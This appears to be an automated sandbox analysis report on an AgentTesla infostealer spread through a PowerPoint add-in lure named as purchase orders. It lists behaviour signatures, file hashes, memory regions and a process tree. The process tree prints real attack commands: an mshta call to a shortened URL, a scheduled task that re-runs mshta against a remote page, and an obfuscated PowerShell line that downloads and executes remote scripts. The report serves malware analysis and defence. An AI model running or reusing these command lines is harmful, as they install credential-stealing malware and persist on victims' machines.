Analysis

  • max time kernel
    121s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    18-10-2021 19:47

General

  • Target

    Purchase orders with bank details.ppam

  • Size

    8KB

  • MD5

    ba36220554ab830aad2ce4f4a0a2acb4

  • SHA1

    f54bb00c862d0f1f0e883e691a87da8285e1997b

  • SHA256

    da7b242a5fac33fd8bc5ad7650f4e0a946b0b07c01a239d778ec289c63b5be18

  • SHA512

    96809ecdef0947de44e08447ee4add90a62a5be111d0df8348d747e595b29879d12866bab3bd9011084946194d1b8a8a9a44920fc1689697767e38aef1339633

Malware Config

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 2 IoCs
  • Blocklisted process makes network request 14 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Purchase orders with bank details.ppam" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2056
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://www.bitly.com/ajdwwaskdorufhjwijjd
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Checks processor information in registry
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1920
      • C:\Windows\System32\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im winword.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1248
      • C:\Windows\System32\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3928
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""Bluefibonashi"" /F /tr ""\""MsHtA""\""http://1230948%[email protected]/p/11.html\""
        3⤵
        • Creates scheduled task(s)
        PID:4060
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_6d4a8cf357544827a7943b96f91f5785.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_15c2594b40a245a9936b81883534b8d8.txt').GetResponse().GetResponseStream()).ReadToend());
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1792
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
          4⤵
          • Drops file in Drivers directory
          • Accesses Microsoft Outlook profiles
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: SetClipboardViewer
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • outlook_office_path
          • outlook_win_path
          PID:1408
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2xkwzkgs\2xkwzkgs.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1112
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3BEC.tmp" "c:\Users\Admin\AppData\Local\Temp\2xkwzkgs\CSC325A1561AAC9416894A33C28CF8CD8C4.TMP"
            5⤵
              PID:3808
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
            • Drops file in Drivers directory
            • Accesses Microsoft Outlook profiles
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:3460
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
          dw20.exe -x -s 2528
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3252

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\2xkwzkgs\2xkwzkgs.dll

      MD5

      fd1975d5acd5b2f13faeda77dd3cd3c5

      SHA1

      a6720ac714e4cbf66e6809e7d9cc3846d50a2df5

      SHA256

      8ce061f4fae32487c7bd63cbaf5c14dd923a0f5b132848b3c640b23bb614b304

      SHA512

      b3ab479939ada8a72cc74ba7877e4d89f9c62a33b99b06c7e90f03272043efd8bfa99f6812de060d858c54252ef5bf1b544cd76148c1ca004facbf08fc97d59f

    • C:\Users\Admin\AppData\Local\Temp\RES3BEC.tmp

      MD5

      19938b1bb397b29005e1ed8643c050cd

      SHA1

      2fc8f62b4136c12e43b6c395d314ca1fa04e9864

      SHA256

      02f6c91b7591015c74c9b8cbb3c1a0e396c36d57a50f3e50ef369bfd67efb186

      SHA512

      bd10bf0e70fa6d40c3e227c750a2bc3b94dcc4354b0c42909b6e59859d3f952271f78d26f868d442964144ea9729130e782a81fda2316e6f0575c3775a74c51f

    • C:\Windows\system32\drivers\etc\hosts

      MD5

      5b2d17233558878a82ee464d04f58b59

      SHA1

      47ebffcad0b4c358df0d6a06ef335cb6aab0ab20

      SHA256

      5b036588bb4cad3de01dd04988af705da135d9f394755080cf9941444c09a542

      SHA512

      d2aec9779eb8803514213a8e396b2f7c0b4a6f57de1ee84e9db0343ee5ff093e26bb70e0737a6681e21e88898ef5139969ff0b4b700cb6727979bd898fdbc85b

    • \??\c:\Users\Admin\AppData\Local\Temp\2xkwzkgs\2xkwzkgs.0.cs

      MD5

      e03b1e7ba7f1a53a7e10c0fd9049f437

      SHA1

      3bb851a42717eeb588eb7deadfcd04c571c15f41

      SHA256

      3ca2d456cf2f8d781f2134e1481bd787a9cb6f4bcaa2131ebbe0d47a0eb36427

      SHA512

      a098a8e2a60a75357ee202ed4bbe6b86fa7b2ebae30574791e0d13dcf3ee95b841a14b51553c23b95af32a29cc2265afc285b3b0442f0454ea730de4d647383f

    • \??\c:\Users\Admin\AppData\Local\Temp\2xkwzkgs\2xkwzkgs.cmdline

      MD5

      836bdb6cb89a4bf02e80cf39b68b160c

      SHA1

      fe811df2413ceaa798f2da4485a806869eac493a

      SHA256

      9820860f94a237dfe77826f053b702bb37990047b2445ea03bd577ff131ad01e

      SHA512

      d44af167215a6eb9c3180708e54ea529e427c255b6e363c6912f7a0ebf80b88102cb832ca73ccef37190f00979c1c7415fd47e829e66c431dae5a7ba33acf66d

    • \??\c:\Users\Admin\AppData\Local\Temp\2xkwzkgs\CSC325A1561AAC9416894A33C28CF8CD8C4.TMP

      MD5

      eac4640bfe82a22f05a2479786ea6a4c

      SHA1

      c91a21cc77b068737a58544b4594df9f652fd978

      SHA256

      58179f5cbaf65d0104b6727ae3b3152d158ce43c1b9c955b5130c90c00c16861

      SHA512

      0a868a764bfec2681c7cf09b3cf5ad71ed110cdaa61659b53dba0c472af351c003960904a75c95355a68718671bb1bd571f910184ae50a9c40b581fb5cba0fdc

    • memory/1112-378-0x0000000000000000-mapping.dmp

    • memory/1248-294-0x0000000000000000-mapping.dmp

    • memory/1408-320-0x000000000043752E-mapping.dmp

    • memory/1408-403-0x00000000013F1000-0x00000000013F2000-memory.dmp

      Filesize

      4KB

    • memory/1408-377-0x00000000013F0000-0x00000000013F1000-memory.dmp

      Filesize

      4KB

    • memory/1792-312-0x0000026469763000-0x0000026469765000-memory.dmp

      Filesize

      8KB

    • memory/1792-313-0x0000026469766000-0x0000026469768000-memory.dmp

      Filesize

      8KB

    • memory/1792-297-0x0000000000000000-mapping.dmp

    • memory/1792-311-0x0000026469760000-0x0000026469762000-memory.dmp

      Filesize

      8KB

    • memory/1920-261-0x0000000000000000-mapping.dmp

    • memory/2056-120-0x00000202604A0000-0x00000202604A2000-memory.dmp

      Filesize

      8KB

    • memory/2056-118-0x00007FFA0A8B0000-0x00007FFA0A8C0000-memory.dmp

      Filesize

      64KB

    • memory/2056-116-0x00007FFA0A8B0000-0x00007FFA0A8C0000-memory.dmp

      Filesize

      64KB

    • memory/2056-117-0x00007FFA0A8B0000-0x00007FFA0A8C0000-memory.dmp

      Filesize

      64KB

    • memory/2056-251-0x000002026DF40000-0x000002026DF44000-memory.dmp

      Filesize

      16KB

    • memory/2056-122-0x00000202604A0000-0x00000202604A2000-memory.dmp

      Filesize

      8KB

    • memory/2056-115-0x00007FFA0A8B0000-0x00007FFA0A8C0000-memory.dmp

      Filesize

      64KB

    • memory/2056-119-0x00007FFA0A8B0000-0x00007FFA0A8C0000-memory.dmp

      Filesize

      64KB

    • memory/2056-121-0x00000202604A0000-0x00000202604A2000-memory.dmp

      Filesize

      8KB

    • memory/3252-303-0x0000000000000000-mapping.dmp

    • memory/3460-387-0x000000000043752E-mapping.dmp

    • memory/3460-393-0x0000000005590000-0x0000000005591000-memory.dmp

      Filesize

      4KB

    • memory/3460-404-0x0000000005591000-0x0000000005592000-memory.dmp

      Filesize

      4KB

    • memory/3808-381-0x0000000000000000-mapping.dmp

    • memory/3928-295-0x0000000000000000-mapping.dmp

    • memory/4060-296-0x0000000000000000-mapping.dmp